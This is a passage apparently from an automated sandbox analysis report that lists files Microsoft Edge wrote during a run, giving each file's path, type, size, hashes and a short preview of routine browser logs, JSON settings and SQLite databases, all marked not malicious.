Preview:	2024/11/12-02:30:26.547 1140 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/12-02:30:26.549 1140 Recovering log #3.2024/11/12-02:30:26.553 1140 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.218459358756573
Encrypted:	false
SSDEEP:	12:5evIv4YebvqBQFUt8EI/+EB5LYebvqBvJ:k64YebvZg8DLYebvk
MD5:	243E857A6E047A5EED1814EDE2D26E9A
SHA1:	7A6EEC05D48FE0D9512881C6AA5E5731105D2E7C
SHA-256:	2B4B1A80193833C178B11204112F1082E642583F84125DB3242B9A6B27D69E47
SHA-512:	E9BCF587162F32746A1562E9ED9971198D3C89FB00192AE916A1658FE9BCDC16FCA10434401D81B6BDCB600BE14AAA3DDDF1ED603FAE30D1E0B3B14B9C248ECC
Malicious:	false
Preview:	2024/11/12-02:30:26.547 1140 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/12-02:30:26.549 1140 Recovering log #3.2024/11/12-02:30:26.553 1140 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\6a506cea-5fef-46ac-83d0-cff421752ed1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\87119445-bc3c-4bc9-bb2d-e686bbfa2c6f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF392bb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ca61e85e-bffc-4f88-9bab-5023993b2ec9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f5bbb1ed-196d-4faa-88e9-82062c415c70.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.18264531177302
Encrypted:	false
SSDEEP:	12:ObAIv4YebvqBZFUt8tbsc/+tbk5LYebvqBaJ:OM64Yebvyg8t4XqLYebvL
MD5:	118E64E300F681AA6DFB2D2E630E4C70
SHA1:	AA21560C0B7E41056AC1CC311F09AA5A529BE34F
SHA-256:	C45DE75DB938AD5A8929622010080095EC7A142FF4D9942BCCB985E77C8CF00D
SHA-512:	FCA5FE0A7DB7ED962ADF8562B51E8B4236FCA46CCBFA10780F3512F15F772DBBD99470D364EFADCC21338CD6119D8FD2E1780F4B9D98D2C6A1D8C24DFB3E9ECC
Malicious:	false
Preview:	2024/11/12-02:30:42.468 1e14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/12-02:30:42.470 1e14 Recovering log #3.2024/11/12-02:30:42.473 1e14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.18264531177302
Encrypted:	false
SSDEEP:	12:ObAIv4YebvqBZFUt8tbsc/+tbk5LYebvqBaJ:OM64Yebvyg8t4XqLYebvL
MD5:	118E64E300F681AA6DFB2D2E630E4C70
SHA1:	AA21560C0B7E41056AC1CC311F09AA5A529BE34F
SHA-256:	C45DE75DB938AD5A8929622010080095EC7A142FF4D9942BCCB985E77C8CF00D
SHA-512:	FCA5FE0A7DB7ED962ADF8562B51E8B4236FCA46CCBFA10780F3512F15F772DBBD99470D364EFADCC21338CD6119D8FD2E1780F4B9D98D2C6A1D8C24DFB3E9ECC
Malicious:	false
Preview:	2024/11/12-02:30:42.468 1e14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/12-02:30:42.470 1e14 Recovering log #3.2024/11/12-02:30:42.473 1e14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.170756402914769
Encrypted:	false
SSDEEP:	6:HU4udNfPyq2P923oH+TcwtpIFUt8YU4udNw1Zmw+YU4udNmRkwO923oH+Tcwta/o:MfPyv4YebmFUt8xe/+xmR5LYebaUJ
MD5:	4B7068682BDF177DE0F590D3D7D52A19
SHA1:	ED2D0E6175BE3AC44899AA01D1E4498FC4C7E51C
SHA-256:	2B460E2134DC75352621C7F1A85CCE6A676B754F089AF035F1D0E0E0F0418FD1
SHA-512:	64773B539F04DA0674CFA097EC88C20F1661BDC1BDD84F3AEC962CFD8E463C57A640DCB2349C25D93EC521068B3D383B76932B117430D9D0DFA8A336CB8375BD
Malicious:	false
Preview:	2024/11/12-02:30:25.791 1d90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/12-02:30:25.792 1d90 Recovering log #3.2024/11/12-02:30:25.792 1d90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.170756402914769
Encrypted:	false
SSDEEP:	6:HU4udNfPyq2P923oH+TcwtpIFUt8YU4udNw1Zmw+YU4udNmRkwO923oH+Tcwta/o:MfPyv4YebmFUt8xe/+xmR5LYebaUJ
MD5:	4B7068682BDF177DE0F590D3D7D52A19
SHA1:	ED2D0E6175BE3AC44899AA01D1E4498FC4C7E51C
SHA-256:	2B460E2134DC75352621C7F1A85CCE6A676B754F089AF035F1D0E0E0F0418FD1
SHA-512:	64773B539F04DA0674CFA097EC88C20F1661BDC1BDD84F3AEC962CFD8E463C57A640DCB2349C25D93EC521068B3D383B76932B117430D9D0DFA8A336CB8375BD
Malicious:	false
Preview:	2024/11/12-02:30:25.791 1d90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/12-02:30:25.792 1d90 Recovering log #3.2024/11/12-02:30:25.792 1d90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2649681792847365
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMsSAELyKOMq+8yC8F/YfU5m+OlTLVumc:Bq+n0Js9ELyKOMq+8y9/Ow/
MD5:	382B096BD2A7C558E55DFE1699A3EE69
SHA1:	ED415A9ACD39379BBA91E430B393A7E2B9DC3FB9
SHA-256:	3603FA80378F4C969ED953446C4E5796E6692454C9A9495C4BF48822DEACC894
SHA-512:	C8C0CF653AE9BAE4B5D8EC4F08CC838FF152E6D843E14C439F2FE9B037D93101C23D759C47769361D69A42A56F2DFF53FF3C167BB7D68359654005D40E74BC5A
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4667196377114151
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0VO:v7doKsKuKZKlZNmu46yjx0I
MD5:	5500E55B33CDA14254CB737B0DE37DEA
SHA1:	C6BC8C94A98F2B042C4FA07C1B7CC07BA1C90313
SHA-256:	5D3D795FD4129B28F66313E00F1C801B305607FC5AFCDBBEDFD7882A1A9CA4BD
SHA-512:	D3FCDE458488A744F210F64DE56FDB7BD440DC0250FD61ABACA933CA6F9E102F26A643212F9E833C68264D191CF48C1ED0A5D1B3CC35CE10E3E977F41E40541F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a59ce02f-c8de-4250-840c-508eb68dc310.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13177
Entropy (8bit):	5.223962139443055
Encrypted:	false
SSDEEP:	384:st/+PGQSu4xsyJfhzD+HbGtQwu6WtaTYU:s4OXu8JfRCHbGehBaTYU
MD5:	811FA4DD10CEB79754827A7E7A6CDAC3
SHA1:	BECCF9A526A0BBFD98CB6D77A57BE10CB1AE8227
SHA-256:	7EA42E42D2D1A34EE9F9B5E4949B9F393A59EFD4E29EE8BEC56285E5C44768D3
SHA-512:	804E9AEDE7C79B78FA15F9CEC8E3397B928D267FB44FCD32752A2BF51B01650A4622188ED481898D83E584E9760709E2C68B7EB44FD531B2BFB39C52511076BA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375870226440232","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b5b1faba-c05f-4d1a-907b-c42923125664.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c09e07cc-647e-4b9f-8a26-6b4086176e9a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c92dd15a-c0f6-42db-8856-1fc4f00c5947.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17238), with no line terminators
Category:	dropped
Size (bytes):	17242
Entropy (8bit):	5.482088164880469
Encrypted:	false
SSDEEP:	384:st/+PGQSu4xsyJfhhUXP/+zlde6bGtQwu6WtaTYU:s4OXu8JfcXPWNbGehBaTYU
MD5:	F704DEEA4B7BCC7117D5B18E37CD9BE7
SHA1:	5DB3E10E437049EC364D8F27F52647A6A8F30103
SHA-256:	D405821D5919615625D8FDBF440D8FBB32DC0CED23823DC256309EDA4FBB9FFD
SHA-512:	56781CCDC84001C91873D06B8E1E179A4512B63ACE6F854999D182A5C204E747C223A10729A165C68374A089C57931B73D8462DC7D0E6718629420C60A5D1525
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375870226440232","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f110949a-28af-4c27-8193-36b708681813.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17403), with no line terminators
Category:	dropped
Size (bytes):	17407
Entropy (8bit):	5.478918280722947
Encrypted:	false
SSDEEP:	384:st/+PGQSu4xsyJfhhUXP/+zlde6bGtQwu6WolaTYU:s4OXu8JfcXPWNbGeh+aTYU
MD5:	2A496DAEA1C49AC729989B2687945C1B
SHA1:	355CB1D55BFB9FDD1FEFB97BC6B13E55B5C7AECA
SHA-256:	2AB417AC09D928617F159C7F50A0C2D323D07E827F11B8FC10D33068083CF6BC
